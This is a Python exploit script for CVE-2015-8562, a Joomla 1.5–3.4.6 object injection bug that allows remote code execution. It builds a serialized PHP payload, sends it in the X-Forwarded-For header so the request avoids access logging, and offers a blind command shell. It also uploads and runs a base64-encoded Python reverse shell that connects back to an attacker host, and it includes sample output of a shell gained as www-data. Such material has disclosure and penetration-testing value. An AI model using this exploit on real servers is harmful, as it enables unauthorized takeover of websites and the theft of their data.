Joomla! 1.5 < 3.4.6 - Object Injection 'x-forwarded-for' Header Remote Code Execution
#!/usr/bin/env python # Exploit Title: Joomla 1.5 - 3.4.6 Object Injection RCE X-Forwarded-For header # Date: 12/17/2015 # Exploit Author: original - Gary@ Sec-1 ltd, Modified - Andrew McNicol BreakPoint Labs (@0xcc_labs) # Vendor Homepage: https://www.joomla.org/ # Software Link: http://joomlacode.org/gf/project/joomla/frs/ # Version: Joomla 1.5 - 3.4.6 # Tested on: Ubuntu 14.04.2 LTS (Joomla! 3.2.1 Stable) # CVE : CVE-2015-8562 ''' Joomla 1.5 - 3.4.6 Object Injection RCE - CVE-2015-8562 PoC for CVE-2015-8562 to spawn a reverse shell or automate RCE Original PoC from Gary@ Sec-1 ltd (http://www.sec-1.com): https://www.exploit-db.com/exploits/38977/ Vulnerability Info, Exploit, Detection: https://breakpoint-labs.com/joomla-rce-cve-2015-8562/ Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" to avoid default logged to access.log Usage - Automate Blind RCE: python joomla-rce-2-shell.py -t http://192.168.1.139/ --cmd $ touch /tmp/newhnewh Usage - Spawn Reverse Shell using Pentestmonkey's Python one-liner and netcat listener on local host: python joomla-rce-2-shell.py -t http://192.168.1.139/ -l 192.168.1.119 -p 4444 [-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://192.168.1.139/ [-] Uploading python reverse shell with LHOST:192.168.1.119 and LPORT:4444 <Response [200]> [+] Spawning reverse shell.... <Response [200]> Listening on [0.0.0.0] (family 0, port 4444) $ python -c "import pty;pty.spawn('/bin/bash')" www-data@ubuntu:/$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@ubuntu:/$ ''' import requests import subprocess import argparse import sys import base64 # Heavy lifting from PoC author Gary@ Sec-1 ltd (http://www.sec-1.com) def get_url(url, user_agent): headers = { 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3', # Change default UA for Requests 'x-forwarded-for': user_agent # X-Forwarded-For header instead of UA } cookies = requests.get(url,headers=headers).cookies for _ in range(3): response = requests.get(url, headers=headers,cookies=cookies) return response def php_str_noquotes(data): "Convert string to chr(xx).chr(xx) for use in php" encoded = "" for char in data: encoded += "chr({0}).".format(ord(char)) return encoded[:-1] def generate_payload(php_payload): php_payload = "eval({0})".format(php_str_noquotes(php_payload)) terminate = '\xf0\xfd\xfd\xfd'; exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";''' injected_payload = "{};JFactory::getConfig();exit".format(php_payload) exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload) exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate return exploit_template def main(): parser = argparse.ArgumentParser(prog='cve-2015-8562.py', description='Automate blind RCE for Joomla vuln CVE-2015-8652') parser.add_argument('-t', dest='RHOST', required=True, help='Remote Target Joomla Server') parser.add_argument('-l', dest='LHOST', help='specifiy local ip for reverse shell') parser.add_argument('-p', dest='LPORT', help='specifiy local port for reverse shell') parser.add_argument('--cmd', dest='cmd', action='store_true', help='drop into blind RCE') args = parser.parse_args() if args.cmd: print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST) print "[-] Dropping into shell-like environment to perform blind RCE" while True: command = raw_input('$ ') cmd_str = "system('{}');".format(command) pl = generate_payload(cmd_str) print get_url(args.RHOST, pl) # Spawn Reverse Shell using Netcat listener + Python shell on victim elif args.LPORT and args.LPORT: connection = "'{}', {}".format(args.LHOST, args.LPORT) # pentestmonkey's Python reverse shell one-liner: shell_str = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('''+connection+'''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''' # Base64 encoded the Python reverse shell as some chars were messing up in the exploit encoded_comm = base64.b64encode(shell_str) # Stage 1 payload Str payload = "echo {} | base64 -d > /tmp/newhnewh.py".format(encoded_comm) print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST) print "[-] Uploading python reverse shell with LHOST {} and {}".format(args.LHOST, args.LPORT) # Stage 1: Uploads the Python reverse shell to "/tmp/newhnewh.py" pl = generate_payload("system('"+payload+"');") print get_url(args.RHOST, pl) # Spawns Shell listener using netcat on LHOST listener = subprocess.Popen(args=["gnome-terminal", "--command=nc -lvp "+args.LPORT]) print "[+] Spawning reverse shell...." # Stage 2: Executes Python reverse shell back to LHOST:LPORT pl = generate_payload("system('python /tmp/newhnewh.py');") print get_url(args.RHOST, pl) else: print '[!] missing arguments' parser.print_help() if __name__ == "__main__": main() |